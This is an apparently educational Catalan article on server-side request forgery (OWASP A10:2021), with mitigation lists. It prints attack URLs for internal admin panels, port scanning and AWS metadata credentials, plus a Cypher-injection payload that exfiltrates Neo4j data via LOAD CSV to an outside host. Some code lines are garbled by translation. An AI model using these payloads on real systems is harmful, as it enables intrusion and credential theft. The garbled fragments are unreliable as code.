A10:2021 – Falsificació de Sol·licituds del Lloc del Servidor (SSRF)
Celia Catalán.png)
Descripció
L'atac 'Server-Side Request Forgery' (SSRF) és un tipus d'atac en què un atacant abusa de la funcionalitat d'un servidor per fer sol·licituds HTTP a recursos interns o externs no autoritzats. En essència, s'enganya el servidor perquè realitzi accions no desitjades en nom de l'atacant.
Impacte
Aquest tipus datac pot tenir greus conseqüències per a la seguretat duna aplicació web i la infraestructura subjacent Alguns dels impactes potencials inclouen:
- Accés no autoritzat a recursos interns: L'atacant pot accedir a sistemes i dades que normalment estan protegits per tallafocs o restriccions de xarxa.
- Evasió de controls de seguretat: SSRF pot permetre als atacants eludir mesures de seguretat com firewalls i llistes de control d'accés.
- Exfiltració de dades sensibles: Els atacants poden utilitzar SSRF per extreure informació confidencial de sistemes interns.
- Escaneig de ports interns: SSRF pot ser utilitzat per mapejar la xarxa interna i descobrir serveis vulnerables.
- Execució de codi remot: En casos extrems, SSRF pot portar a l'execució de codi arbitrari al servidor compromès.
Atesa la gravetat d'aquests impactes, és crucial que els desenvolupadors implementin mesures de seguretat robustes per prevenir i mitigar els atacs SSRF a les seves aplicacions web.
Exemples Pràctics
1. Accés a serveis interns
Això pot permetre a l'atacant accedir a sistemes i dades normalment protegits per tallafocs o restriccions de xarxa, com ara bases de dades internes o panells d'administració.
http://vulnerable-app.com/fetch?url=http://localhost:8080/admin
En aquest exemple, si l'aplicació no valida adequadament l'URL proporcionada, podeu fer una sol·licitud al panell d'administració intern al port 8080.
Resum
- Detectar alguna consulta que faci alguna petició a un recurs extern mitjançant HTTP.
- Modificar la petició perquè el servidor web faci una petició a la interfície loopback i així accedir a funcions o serveis no publicats a l'exterior.
Exemple
Després d'analitzar el funcionament de la pàgina web auditada, es pot observar que es fan peticions a recursos externs mitjançant HTTP.
Un cop identificat aquest possible vector d'atac, es procedeix a realitzar una primera prova de reconeixement per conèixer si es poden fer peticions a la interfície loopback.
Després de validar que es pot fer un atac de SSRF mitjançant aquest vector, es procura accedir a funcions limitades des de l'exterior com, en aquest exemple, eliminar un usuari de l'aplicació.
Mitigacions
Per prevenir els riscos associats a aquest tipus d'atacs, es recomana:
- Validar i sanititzar totes les entrades dusuari, especialment les URLs.
- Implementar llistes blanques de dominis i adreces IP permeses.
- Utilitzar tallafocs d'aplicacions web (WAF) per filtrar sol·licituds malicioses.
- Configurar correctament els tallafocs de xarxa per limitar l'accés a recursos interns.
- Implementar el principi de mínim privilegi als servidors i serveis.
- Usar VPNs o xarxes privades virtuals per aïllar recursos crítics.
- Deshabiliteu redireccions HTTP quan no siguin necessàries.
- Implementar autenticació i autorització robustes per a tots els endpoints interns.
- Utilitzeu DNS intern per resoldre noms de host, evitant l'ús d'adreces IP directes.
- Monitoritzar i registrar totes les sol·licituds de xarxa per detectar patrons sospitosos.
2. Escaneig de ports interns
Aquest procés implica enviar sol·licituds a diferents ports a les adreces IP internes, analitzant les respostes per determinar quins ports estan oberts i quins serveis s'estan executant. Amb aquesta informació, l'atacant podria identificar objectius potencials per a atacs futurs, com ara servidors de bases de dades, panells d'administració o sistemes vulnerables que normalment no serien accessibles des de l'exterior.
http://vulnerable-app.com/fetch?url=http://127.0.0.1:22
En aquest exemple, si el port 22 (SSH) està obert, la resposta podria ser diferent de si estigués tancat, permetent a l'atacant mapejar serveis de la xarxa interna.
Resum
- Detectar alguna consulta que faci alguna petició a un recurs extern mitjançant HTTP.
- Modificar la petició perquè el servidor web faci una petició a adreces IP i ports interns que no estan exposats a l'exterior.
- Observar respostes diferents pel servidor per poder discernir quan hi ha una adreça IP amb algun port obert de quan no.
Exemple
Després de detectar un possible vector d'atac amb aquesta tècnica, s'intenta identificar possibles rangs de xarxa privats a què es pugui tenir accés des del servidor. Per fer-ho, es farà ús del mòdul d'intruder per a iterar els valors numèrics de les adreces IP.
Tal com es pot observar a les captures, ha estat possible accedir a servidors i recursos interns mitjançant l'explotació de la vulnerabilitat de SSRF.
Mitigacions
Per prevenir i mitigar els atacs SSRF destinats a l'escaneig d'adreces IP i ports interns, es recomana implementar les mesures següents:
- Implementar llistes blanques d'adreces IP i rangs permesos per a sol·licituds internes.
- Utilitzar tallafocs d'aplicacions web (WAF) configurats per detectar i bloquejar patrons de sol·licituds sospitoses.
- Segmentar la xarxa interna per limitar l'abast de possibles escanejats.
- Implementar el principi de mínim privilegi als servidors i serveis interns.
- Utilitzar autenticació i autorització robustes per a tots els endpoints interns.
- Monitoritzar i registrar totes les sol·licituds de xarxa per detectar patrons d'escaneig.
- Implementar rate limiting per prevenir escanejats ràpids i automatitzats.
- Utilitzar Virtual Private Cloud (VPC) en entorns cloud per aïllar recursos crítics.
- Configurar correctament els grups de seguretat i les llistes de control d'accés (ACL) a la xarxa.
- Educar els desenvolupadors sobre les millors pràctiques de seguretat i els riscos associats amb SSRF.
3. Accés a metadades en entorns cloud
En entorns cloud, com Amazon Web Services (AWS), els atacants poden aprofitar les vulnerabilitats de Server-Side Request Forgery (SSRF) per intentar accedir a les metadades de la instància. Aquestes metadades contenen informació crucial sobre la configuració i l'estat de la instància en execució. Un exemple de com un atacant podria intentar explotar aquesta vulnerabilitat és mitjançant la següent URL:
http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/
Si l'aplicació vulnerable processa aquesta sol·licitud sense les precaucions degudes, podria inadvertidament revelar informació altament sensible. Aquesta informació podria incloure:
- Credencials temporals d'AWS
- Rols d'IAM associats amb la instància
- Dades de configuració de xarxa
- Scripts d'inicialització personalitzats
L'exposició d'aquestes metadades podria tenir conseqüències greus per a la seguretat de la infraestructura al núvol, potencialment permetent als atacants escalar els seus privilegis, moure's lateralment dins de la xarxa, o fins i tot comprometre completament l'entorn d'AWS. Per tant, és crucial implementar mesures de seguretat robustes per prevenir aquest tipus d'accés no autoritzat a les metadades de les instàncies al núvol.
Resum
- Detectar alguna consulta que faci alguna petició a un recurs extern mitjançant HTTP.
- Modificar la petició original perquè el servidor web faci una petició a recursos de servidors en cloud que puguin estar limitats mitjançant WhiteList perquè només hi pugui accedir el servidor.
- Observar respostes diferents pel servidor per poder destriar quan ha estat possible accedir a recursos emmagatzemats a Cloud i quan no.
Exemple
Escenari
Una aplicació web permet als usuaris ingressar una URL per obtenir informació sobre un lloc web. L'aplicació fa una sol·licitud GET a la URL proporcionada i mostra el resultat. Tot i això, l'aplicació no valida adequadament l'entrada de l'usuari.
Passos de l'explotació
- L'atacant descobreix que l'aplicació està allotjada a Amazon Web Services (AWS).
- L'atacant introdueix la URL següent al camp d'entrada de l'aplicació: http://169.254.169.254/latest/meta-data/
- L'aplicació fa una sol·licitud a aquesta adreça IP interna d'AWS, que és l'endpoint de metadades d'instàncies EC2.
- Com a resultat, l'aplicació torna informació sensible sobre la instància EC2, com ara:
1. ID d'instància2. Regió3. Nom d'amfitrió intern4. Direcció MAC
5. L'atacant pot aprofundir més utilitzant rutes específiques, com ara: http://169.254.169.254/latest/meta-data/iam/security-credentials/ per obtenir les credencials de seguretat temporals del rol IAM associat a la instància.
Mitigació
Per prevenir aquest tipus d'atacs SSRF:
- Implementar una llista blanca d'URLs permeses
- Utilitzar un proxy invers per a les sol·licituds sortints
- Configurar tallafocs per bloquejar el trànsit a adreces IP internes
- Implementar el principi de mínim privilegi als rols IAM
- Utilitzar IMDSv2 (Instance Metadata Service version 2) que requereix tokens de sessió
4. Exfiltració d'informació (injecció Cypher)
En aquest apartat s'explicarà com és possible exfiltrar dades mitjançant tècniques de Server-Side Request Forgery, després d'injectar codi maliciós a les consultes realitzades a la base de dades de Neo4j.
Neo4j és una base de dades de grafs de codi obert. S'utilitza per emmagatzemar i consultar dades altament interconnectades, representant la informació com a nodes, relacions i propietats en una estructura de graf, cosa que permet realitzar consultes complexes i anàlisi de dades de manera eficient.
Resum
- Detectar alguna consulta mitjançant la qual sigui possible injectar codi a les consultes realitzades a la base de dades.
- Realitzar consultes a la base de dades per obtenir informació emmagatzemada.
- Exfiltrar la informació obtinguda mitjançant la funció de càrrega de CSV per HTTP, fent així una tècnica de SSRF.
Exemple
Després d'analitzar les diferents peticions realitzades a l'aplicació web, i detectar-ne alguna de vulnerable a injeccions, es procedeix a realitzar consultes a la base de dades i exfiltrar-les. Un exemple de payload seria:
.*' | o ] AS OriginalRequest CALL db.labels() YIELD data LOAD CSV FROM 'http:///' + data AS r //
A continuació, es procedirà a explicar cada part del payload:
.*' | o ] AS OriginalRequest
Aquesta primera part del codi tanca la consulta original de manera correcta i permet concatenar la consulta que vol fer l'atacant.
CALL db.labels() dades de RENDIMENT
La clàusula CALL es fa servir per executar una subconsulta. En aquest cas, invoca db.labels(), un procediment incorporat que proporciona una llista de totes les etiquetes presents a la base de dades. Per la seva banda, la clàusula YIELD desa la llista resultant a la variable "data".
CARREGA CSV DES DE 'http:///' + dades AS r //
LOAD CSV és una sentència que carrega un fitxer CSV des d'una ubicació definida per l'usuari mitjançant la paraula clau FROM. En aquest cas, LOAD CSV realitza una sol·licitud a un servidor web habilitat mitjançant la funcionalitat de Burp collaborator, afegint un element de la llista "data" a cada iteració.
Com a resultat, s'envien múltiples peticions al client de Burp col·laborator, cadascuna amb diferents noms d'etiqueta annexats al final de la sol·licitud.
La part final 'AS r' s'inclou perquè la consulta falla constantment sense; simplement carrega el fitxer CSV com a "r".
Les dues barres diagonals finals '//' s'utilitzen per comentar la resta de la consulta a la mateixa línia.
Mitigació
En aquest cas no hi ha cap correcció per evitar l'exfiltració de dades mitjançant la funció de LOAD CSV. Les mitigacions parteixen directament d'evitar la possibilitat de fer els atacs de tipus Cypher injection. Per això es recomana:
- Usar paràmetres: Prevenir la injecció de Cypher utilitzant paràmetres en lloc de concatenar directament l'entrada de l'usuari a les consultes.
- Parametritzar consultes: Compilar les consultes en plans executables que no es puguin modificar per les dades dels paràmetres.
- Usar procediments APOC de manera segura: En utilitzar APOC, continuar passant paràmetres per evitar vulnerabilitats de concatenació de cadenes.
- Sanititzar entrades: Quan la parametrització no és possible (per exemple, per a etiquetes de nodes), sanititzar les entrades de l'usuari escapant caràcters especials.
- Evitar tornar errors de base de dades: Usar missatges d'error genèrics per prevenir la divulgació d'informació mitjançant injecció basada en errors.
- Implementar fuita adequada: Utilitzar seqüències d'escapament apropiades per a diferents tipus de Cypher (literals de cadena, identificadors).
- Validar entrades: Comproveu les entrades de l'usuari contra criteris específics, però tingueu en compte les possibles tècniques de bypass.
- Aneu amb compte amb les injeccions de segon ordre: Continueu sanititzant les dades emmagatzemades quan s'utilitzin en consultes posteriors.
- Aplicar el principi de mínim privilegi: utilitzar control d'accés basat en rols per limitar l'impacte potencial d'injeccions exitoses.
- Manejar acuradament les importacions de dades: Ser conscient de les vulnerabilitats potencials en importar dades de fonts externes com a fitxers CSV.
